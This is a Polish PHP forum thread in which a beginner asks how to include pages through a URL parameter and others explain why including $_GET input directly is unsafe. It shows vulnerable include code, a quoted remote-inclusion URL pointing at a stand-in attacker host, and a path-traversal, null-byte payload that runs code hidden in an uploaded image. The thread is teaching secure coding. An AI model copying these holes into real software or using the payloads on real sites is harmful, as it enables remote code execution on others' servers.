Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [php] includowanie linków
Forum PHP.pl > Forum > Przedszkole
predator
Mam taki kod:
Kod
<?php
  $plik1 = "katalog/$_GET[lol]".".php";
  include($plik1);
  ?>


i link:
Kod
<a href="katalog/index.php?lol=plik1" onfocus=blur()>link1</a>


Jak przekształcic ten pierwszy kod bym mógł includowac wiecej linków?

Wczesniej to robiłem w taki sposób:

Kod
<?
  switch ($_GET['lol'])
  {
  case 1:
  include ("katalog/plik1.php");
  break;
  
  case 2:
  include ("katalog/plik2.php");
  break;
  
  }
  ?>


ale był to niebezpieczny sposób
l0ud
Cytat(predator @ 23.02.2008, 16:58:36 ) *
ale był to niebezpieczny sposób



Twój nowy sposób jest raczej niebezpieczny, a nie stary smile.gif Sprecyzuj dokładniej, czego chcesz. Zaincludować kilka plików za jednym razem?
Cysiaczek
Dlaczego niebezpieczny? Właśnie bardzo bezpieczny, bo była skończona ilość możliwości i nie bazowało to na nazwie pliku.
Co do pytania... jak więcej? Kilka różnych include? To w takim razie musisz przekazać więcej parametrów do skryptu i użyć pętli do odczytania nazw plików, bo $_GET['lol'] to teraz jest tablica.
  1. index.php?lol[]=plik&lol[]=kolejny_plik


Pozdrawiam.

Popraw proszę tytuł topiku na zgodny z zasadami forum Przedszkole
predator
http://www.webtips.pl/index.php?showtopic=3899&hl= tutaj jest opisane dlaczego nie bezpieczne

nie chce includowac kilka plików za jednym razem tylko poprostu kilka linków zrobic i nie wiem jak bo jak bede tak pisał:

Kod
<?php
    $plik1 = "katalog/$_GET[lol]".".php";
    include($plik1);
    ?>
  
  <?php
    $plik2 = "katalog/$_GET[lol]".".php";
    include($plik2);
    ?>
  
  <?php
    $plik3 = "katalog/$_GET[lol]".".php";
    include($plik3);
    ?>


by móc potem 3 linki utworzyc to kod jest ten błędny

jak robie tak:

Kod
<?
switch (katalog/$_GET[lol]".".php)
{
case plik1:
include ($plik1);
break;

case plik2:
include ($plik2);
break;

case plik3:
  include ($plik3);
  break;
}
?>


to tez nie działa
l0ud
Sposób który stosowałeś wcześniej, był jak najbardziej poprawny i bezpieczny. Znajdź mi fragment w tamtym arcie, który odradza takiego rozwiązania... To co zaproponowałeś, czyli includowanie bezpośrednio tego co jest w GET, nawet przy dodawaniu folderu i rozszerzenia po prostu nie jest bezpieczne.
Cysiaczek
... sciana.gif
Teraz to już wogóle nie rozumiem. Może zmień zawartość lol=plik w każdym linku?
predator
juz sobie poradziłem
Kod
<?php
    $plik1 = "katalog/$_GET[lol1]".".php";
    include($plik1);
    ?>
  
  <?php
    $plik2 = "katalog/$_GET[lol]".".php";
    include($plik2);
    ?>

zmieniłem w kazdym includowaniu "lol" i przy kazdym linku bede musial dodawac inny numerek :/ nie wygodne to

przedtem takim sposobem ale gdy tu i tam było to samo słowo "lol" to mi includowalo 2 pliki na raz gdy kliknąłem w jeden link


podaje cytat tego tutka:

Cytat
Kod
<?php
include($_GET['adres']);
?>


Powoduje to oczywiście dołączenie pliku podanego w zmiennej, ale jest to bardzo NIEBEZPIECZNE, ponieważ każdy może do tej zmiennej wpisać co mu się żywnie podoba, np.

Kod
naszastrona.pl?adres=http://serwerhackera.pl/niszcz.php


Pierwszym co należy robić to nie podawać rozszerzenia w adresie strony, czyli adres wygląda tak

Kod
naszastrona.pl/index.php?adres=plik

a w kodzie będziemy mieli

Kod
<?php
$plik = "$_GET[adres]".".php";
include($plik);
?>


Jest to już jakaś forma zabezpieczenia, ale wystarczy, że hacker zgadnie to rozszerzenie które dodajemy, i dalej może wczytać swój plik

Kod
naszastrona.pl?adres=http://serwerhackera.pl/niszcz


Aby skrypt stał się bezpieczny musimy wymusić katalog z którego będziemy ładowali pliki...
adres ciągle taki:

Kod
naszastrona.pl/index.php?adres=plik

ale w kodzie zaszły zmiany
Kod
<?php
$plik = "katalog/$_GET[adres]".".php";
include($plik);
?>


Ostatnia wersja naszego skryptu jest już bezpieczna, ponieważ wczytuje ze zgóry narzuconego katalogu "katalog"...
Cysiaczek
To teraz popatrz na kod, który pokazałeś

  1. <?php
  2. switch ($_GET['lol'])
  3. {
  4. case 1:
  5. include ("katalog/plik1.php");
  6. break;
  7.  
  8. case 2:
  9. include ("katalog/plik2.php");
  10. break;
  11.  
  12. }
  13. ?>


Gdzie coś Ci ktoś wklei? Jedynie może wymusić Wykonanie konkretnego case, ale to chyba dobrze, prawda?

--edit
Dla pewności:
  1. <?php
  2. $page=(integer) $_GET['lol'];
  3.  
  4. switch ($page)
  5. {
  6. case 1:
  7. include ("katalog/plik1.php");
  8. break;
  9.  
  10. case 2:
  11. include ("katalog/plik2.php");
  12. break;
  13.  
  14. }
  15. ?>
l0ud
A ja jeszcze dodam coś od siebie, dlaczego Twoje nowe rozwiązanie jest niebezpieczne.

Załóżmy, że na stronie posiadasz również forum z możliwością uploadowania avatarów. Przygotuję sobie plik jpeg i wpiszę do niego złośliwy kod php (da się to zrobić). Plik jpeg zuploaduję na forum, i jego ścieżka będzie przykładowo taka:

Kod
./forum/uploads/asd.jpg


O ile samo umieszczenie takiego pliku nie jest niebezpieczne, wczytanie go Twoim skryptem już tak:

Kod
katalog/index.php?lol=../forum/uploads/asd.jpg% 0000

bez spacji po procencie

Skrypt się wczyta, wykona i strona leży winksmiley.jpg
predator
hmm chyba i macie racje ale w tym przykładzie co ja myslalem ze bezpieczny to jest wymuszony katalog z którego ma byc wykonywany plik a w tym z uzyciem case nie wiem czy jest takie wymuszenie
l0ud
Pomyśl logicznie:

  1. <?php
  2. include ("katalog/plik1.php");
  3. ?>

(w case)

Czy tutaj odnosisz się gdziekolwiek do jakiejś zmiennej? Niewłaściwa zawartość spowoduje co najwyżej brak wykonania się case (co możesz przewidzieć używając 'default:') i w efekcie niedołączeniem żadnego pliku...
Synapsa
A może w ten sposób.
  1. <?php
  2. if(file_exists(katalog/$_GET['action'].".php")){
  3. include(katalog/$_GET['action'].".php");
  4. }
  5. else {
  6. echo "Plik nie istnieje";
  7. }
  8. ?>
predator
ja dopiero sie ucze php ale rozumiem juz, dziękuje

--edit--
Kod
<?php
if(file_exists(katalog/$_GET['action'].".php")){
include(katalog/$_GET['action'].".php");
}
else {
echo "Plik nie istnieje";
}
?>


ciekawy pomysł, ale troche zawiły ten kod
l0ud
Cytat(Synapsa @ 23.02.2008, 18:37:38 ) *
A może w ten sposób.
  1. <?php
  2. if(file_exists(katalog/$_GET['action'].&#092;".php\")){
  3. include(katalog/$_GET['action'].&#092;".php\");
  4. }
  5. else {
  6. echo &#092;"Plik nie istnieje\";
  7. }
  8. ?>




Prawdopodobnie również nie pomogło by przy 'moim' ataku. file_exists() zdaje się zabezpieczy jedynie przed wczytaniem kodu z zewnętrznego serwera. Pomijam fakt, że kod jest błedny.
predator
mam jeszcze pytanie, co oznacza fragment:
Kod
$page=(integer)

?
empuszek
  1. <?php
  2. $page=(integer)
  3. ?>

Oznacza to że zmienna $page jest typu INT czyli przechowuje liczby.
predator
a jaki to ma udział w bezpieczeństwie tego kodu?
l0ud
Cytat(predator @ 23.02.2008, 20:34:21 ) *
a jaki to ma udział w bezpieczeństwie tego kodu?


Taki, że ograniczasz zakres tej zmiennej do liczb całkowitych. Nie potrafię Ci powiedzieć co to pomoże gdy użyjesz instrukcji case, bo i tak jest bezpiecznie winksmiley.jpg
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.